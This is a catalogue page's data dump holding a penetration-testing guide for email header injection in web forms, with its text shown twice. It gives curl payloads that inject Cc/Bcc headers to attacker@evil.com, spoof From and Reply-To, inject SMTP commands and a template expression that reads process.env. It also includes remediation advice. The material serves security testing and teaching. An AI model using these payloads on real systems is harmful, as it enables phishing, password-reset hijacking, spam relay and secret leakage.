[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGAW1B00JCV7Y07F53KE41":3,"skill-same:01M6AGAW1B00JCV7Y07F53KE41":111},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":29,"publishedAt":50,"linkOnly":51,"markdownContent":52,"markdownBody":53,"frontMatter":54,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":73,"repositoryHtmlUrl":74,"repositoryHomepageUrl":75,"ownerHtmlUrl":76,"ownerBlogUrl":77,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6AGAW1B00JCV7Y07F53KE41","testing-for-email-header-injection",null,"Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF\u002FSMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-email-header-injection\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49],"testing for email header injection","email","testing","injection","t1059","contact-form","spam-relay","header-injection","crlf-injection","smtp-injection","application-security","t1505","web-application-security","owasp","email-security","pr","web","test","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-email-header-injection\ndescription: Tests web application email functionality (contact forms, password reset,\n  newsletter subscriptions) for CRLF\u002FSMTP header injection using Burp Suite and OWASP ZAP,\n  checking whether attackers can inject headers, modify recipients, or abuse forms for\n  spam relay. Use when testing any user-input-driven email-sending feature during a\n  penetration test.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- email-injection\n- smtp-injection\n- crlf-injection\n- header-injection\n- spam-relay\n- contact-form\n- email-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n","# Testing for Email Header Injection\n\n## When to Use\n- When testing contact forms, feedback forms, or \"email a friend\" functionality\n- During assessment of password reset email functionality\n- When testing newsletter subscription or notification email systems\n- During penetration testing of applications that send emails based on user input\n- When auditing email-related API endpoints for header injection\n\n## Prerequisites\n- Burp Suite for intercepting and modifying HTTP requests\n- Understanding of SMTP protocol and email header structure\n- Knowledge of CRLF injection techniques (\\r\\n sequences)\n- Test email accounts for receiving injected emails\n- Access to application features that trigger email sending\n- SMTP server logs access for monitoring injection attempts\n\n## Workflow\n\n### Step 1 — Identify Email Injection Points\n```bash\n# Identify form fields that end up in email headers:\n# - \"From\" name or email address fields\n# - \"To\" or \"CC\" fields in sharing features\n# - Subject line inputs\n# - Reply-To fields\n\n# Common endpoints:\n# POST \u002Fcontact - Contact forms\n# POST \u002Fshare - Share via email features\n# POST \u002Finvite - Invitation systems\n# POST \u002Fapi\u002Fsend-email - Email API endpoints\n# POST \u002Fforgot-password - Password reset forms\n\n# Test basic functionality first\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello&message=Test message\"\n```\n\n### Step 2 — Test for CRLF Header Injection\n```bash\n# Inject additional email headers via CRLF in the email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test\"\n\n# Inject BCC header\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test\"\n\n# Inject via the name field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test\"\n\n# Inject via subject field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test\"\n\n# Try different CRLF encoding variants\n# %0D%0A (CRLF)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0D%0ACc:attacker@evil.com\"\n\n# %0A (LF only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ACc:attacker@evil.com\"\n\n# %0D (CR only)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0DCc:attacker@evil.com\"\n\n# Double encoding\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%250ACc:attacker@evil.com\"\n```\n\n### Step 3 — Inject Custom Email Content\n```bash\n# Override email body by injecting Content-Type and body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:text\u002Fhtml%0A%0A\u003Ch1>Phishing\u003C\u002Fh1>\"\n\n# Inject additional MIME parts\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AContent-Type:multipart\u002Fmixed;boundary=boundary123%0A--boundary123%0AContent-Type:text\u002Fhtml%0A%0A\u003Cscript>alert(1)\u003C\u002Fscript>\"\n\n# Override From header for email spoofing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AFrom:ceo@target.com\"\n\n# Inject Reply-To for phishing\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0AReply-To:attacker@evil.com\"\n```\n\n### Step 4 — Test IMAP\u002FSMTP Injection\n```bash\n# IMAP command injection via email field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fwebmail\u002Fsearch \\\n  -d \"query=test%0AEXAMINE INBOX\"\n\n# SMTP command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend \\\n  -d \"to=test@test.com%0ARCPT TO:attacker@evil.com\"\n\n# SMTP VRFY command injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -d \"email=test@test.com%0AVRFY admin\"\n\n# Test SMTP relay abuse\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fcontact \\\n  -d \"email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com\"\n```\n\n### Step 5 — Test JSON-Based Email APIs\n```bash\n# JSON API header injection\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\\nCc:attacker@evil.com\",\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Array injection for multiple recipients\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":[\"test@test.com\",\"attacker@evil.com\"],\"subject\":\"Test\",\"body\":\"Test\"}'\n\n# Template injection in email body\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsend-email \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"to\":\"test@test.com\",\"subject\":\"Test\",\"body\":\"{{constructor.constructor(\\\"return process.env\\\")()}}\"}'\n```\n\n### Step 6 — Validate Findings\n```bash\n# Check if injected CC\u002FBCC emails were received\n# Monitor attacker@evil.com inbox for received copies\n\n# Verify header injection via email raw source\n# In received email, check \"View Original\" or \"Show Headers\"\n# Look for injected Cc:, Bcc:, From:, or Reply-To: headers\n\n# Test if the application is usable as a spam relay\n# by injecting multiple recipients in BCC\n\n# Document the full injection chain\n# 1. Injection point (which field)\n# 2. Encoding required (CRLF, URL encoding)\n# 3. Impact (spam relay, phishing, data theft)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |\n| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |\n| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |\n| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |\n| MIME Manipulation | Injecting MIME boundaries to override email body content |\n| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |\n| Newline Characters | \\r\\n (CRLF), \\n (LF), \\r (CR) used to separate email headers |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for modifying email-related form submissions |\n| swaks | Swiss Army Knife for SMTP testing and header injection validation |\n| OWASP ZAP | Automated scanner with email injection detection |\n| mailhog | Local SMTP testing server for capturing injected emails |\n| smtp4dev | Development SMTP server for monitoring email injection results |\n| Nuclei | Template scanner with email header injection detection templates |\n\n## Common Scenarios\n\n1. **Spam Relay** — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain\n2. **Phishing via Contact Form** — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization\n3. **Password Reset Hijack** — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim\n4. **Email Content Override** — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content\n5. **Internal Email Abuse** — Use header injection to send emails to internal addresses not normally accessible through the application\n\n## Output Format\n\n```\n## Email Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fcontact\n- **Injection Point**: email field in contact form\n- **Encoding Required**: URL-encoded LF (%0A)\n\n### Findings\n| # | Field | Payload | Result | Severity |\n|---|-------|---------|--------|----------|\n| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |\n| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |\n| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |\n\n### Remediation\n- Validate email addresses with strict regex rejecting newline characters\n- Strip \\r, \\n, and encoded variants from all email-related input\n- Use parameterized email APIs that separate headers from data\n- Implement rate limiting on email-sending functionality\n```\n",{"name":5,"tags":55,"author":57,"domain":48,"license":15,"version":58,"nist_csf":59,"subdomain":42,"description":7,"mitre_attack":64},[56,39,38,37,36,35,44],"email-injection","mahipal","1.0",[60,61,62,63],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[65,66,67,68,69],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-email-header-injection",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":81,"prompt":91,"zipAvailable":92},[82,85,88],{"tool":83,"command":84},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-email-header-injection",{"tool":86,"command":87},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-email-header-injection",{"tool":89,"command":90},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-email-header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-email-header-injection\u002FSKILL.md",true,[94,99,105],{"path":95,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-email-header-injection\u002FLICENSE",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Fapi-reference.md","REFERENCE","参考文档",1749,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-email-header-injection\u002Freferences\u002Fapi-reference.md",{"path":106,"resourceType":107,"resourceTypeDesc":108,"sizeBytes":109,"sourceHtmlUrl":110},"scripts\u002Fagent.py","SCRIPT","脚本",7020,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-email-header-injection\u002Fscripts\u002Fagent.py",[112,137,161,186,212,239],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":119,"publishedAt":50},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[118],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[120,121,122,123,49,48,124,125,45,126,127,128,129,130,131,132,133,134,135,136],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":144,"publishedAt":50},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[143],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[145,133,146,147,49,148,48,45,149,150,151,152,153,154,155,156,157,158,159,160],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":169,"publishedAt":50},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[167,168],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[155,170,171,172,32,48,173,174,149,175,176,177,178,179,180,181,182,183,184,185],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":187,"name":188,"nameZh":6,"description":189,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":190,"categories":191,"keywords":193,"publishedAt":50},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[192],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[194,195,196,48,197,198,199,200,201,202,203,204,205,206,207,208,152,209,210,211],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":213,"name":214,"nameZh":6,"description":215,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":216,"categories":217,"keywords":219,"publishedAt":50},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[218],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[220,221,222,48,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":240,"name":241,"nameZh":6,"description":242,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":243,"categories":244,"keywords":246,"publishedAt":50},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[245],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[49,247,48,248,249,250,251,252,253,254,255,181,256,182,257,258,259,260,261,262],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]